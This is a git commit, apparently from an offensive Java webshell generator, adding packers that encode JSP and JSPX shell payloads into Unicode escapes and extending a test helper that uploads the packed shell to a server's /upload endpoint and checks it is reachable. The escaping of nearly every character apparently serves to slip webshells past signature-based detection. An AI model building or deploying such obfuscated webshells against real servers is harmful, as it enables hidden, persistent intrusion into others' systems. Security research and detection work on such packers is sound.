feat: add jsp unicode packer

This commit is contained in:
ReaJason
2026-01-18 23:49:41 +08:00
parent 686be6b59a
commit c0c78c4372
6 changed files with 136 additions and 7 deletions
@@ -400,16 +400,16 @@ public class ShellAssertion {
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) { public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) { switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP -> { case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jsp"; String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
} }
case JSPX -> { case JSPX, JSPXUnicode -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jspx"; String filename = shellType + shellTool + packer + ".jspx";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
@@ -23,10 +23,7 @@ import com.reajason.javaweb.packer.h2.H2Packer;
import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.jar.*;
import com.reajason.javaweb.packer.jexl.JEXLPacker; import com.reajason.javaweb.packer.jexl.JEXLPacker;
import com.reajason.javaweb.packer.jinjava.JinJavaPacker; import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; import com.reajason.javaweb.packer.jsp.*;
import com.reajason.javaweb.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.packer.jsp.JspPacker;
import com.reajason.javaweb.packer.jsp.JspxPacker;
import com.reajason.javaweb.packer.jxpath.JXPathPacker; import com.reajason.javaweb.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker; import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker;
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer; import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer;
@@ -79,8 +76,11 @@ public enum Packers {
*/ */
JSP(new JspPacker()), JSP(new JspPacker()),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
ClassLoaderJSPUnicode(new ClassLoaderJspUnicodePacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
DefineClassJSPUnicode(new DefineClassJspUnicodePacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class), JSPX(new JspxPacker(), JspPacker.class),
JSPXUnicode(new JspxUnicodePacker(), JspPacker.class),
/** /**
* BigInteger * BigInteger
@@ -0,0 +1,12 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
public class ClassLoaderJspUnicodePacker implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
return JspUnicoder.encode(Packers.ClassLoaderJSP.getInstance().pack(classPackerConfig), true);
}
}
@@ -0,0 +1,20 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.Util;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspUnicodePacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return JspUnicoder.encode(Packers.DefineClassJSP.getInstance().pack(config), true);
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.packer.jsp;
import org.apache.commons.codec.binary.Hex;
import java.nio.charset.StandardCharsets;
public class JspUnicoder {
public static String encode(String content, boolean isJsp) {
if (content == null) {
return null;
}
StringBuilder result = new StringBuilder(content.length());
int lineStart = 0;
int length = content.length();
for (int i = 0; i < length; i++) {
if (content.charAt(i) == '\n') {
appendEncodedLine(result, content.substring(lineStart, i), isJsp);
result.append('\n');
lineStart = i + 1;
}
}
if (lineStart <= length) {
appendEncodedLine(result, content.substring(lineStart), isJsp);
}
return result.toString();
}
private static void appendEncodedLine(StringBuilder output, String line, boolean isJsp) {
if (shouldSkipLine(line, isJsp)) {
output.append(line);
return;
}
if (line.contains("page import") || line.contains("page pageEncoding") || line.contains("page contentType")) {
int firstQuote = line.indexOf('"');
int lastQuote = line.lastIndexOf('"');
if (firstQuote != -1 && lastQuote > firstQuote) {
String oldStr = line.substring(firstQuote + 1, lastQuote);
String encoded = encodeWordChars(oldStr);
output.append(line, 0, firstQuote + 1)
.append(encoded)
.append(line.substring(lastQuote));
return;
}
}
output.append(encodeWordChars(line));
}
private static boolean shouldSkipLine(String line, boolean isJsp) {
if (line == null) {
return false;
}
if (!isJsp && (line.contains("jsp:root")
|| line.contains("jsp:declaration")
|| line.contains("jsp:scriptlet")
|| line.contains("jsp:directive.page"))) {
return true;
}
return false;
}
private static String encodeWordChars(String input) {
StringBuilder encoded = new StringBuilder(input.length() * 4);
for (int i = 0; i < input.length(); i++) {
char ch = input.charAt(i);
if (isWordChar(ch)) {
encoded.append(toUnicodeEscape(ch));
} else {
encoded.append(ch);
}
}
return encoded.toString();
}
private static boolean isWordChar(char ch) {
return Character.isLetterOrDigit(ch) || ch == '_';
}
private static String toUnicodeEscape(char ch) {
byte[] bytes = String.valueOf(ch).getBytes(StandardCharsets.UTF_8);
return "\\u00" + Hex.encodeHexString(bytes);
}
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
public class JspxUnicodePacker implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
String content = Packers.JSPX.getInstance().pack(classPackerConfig);
return JspUnicoder.encode(content, false);
}
}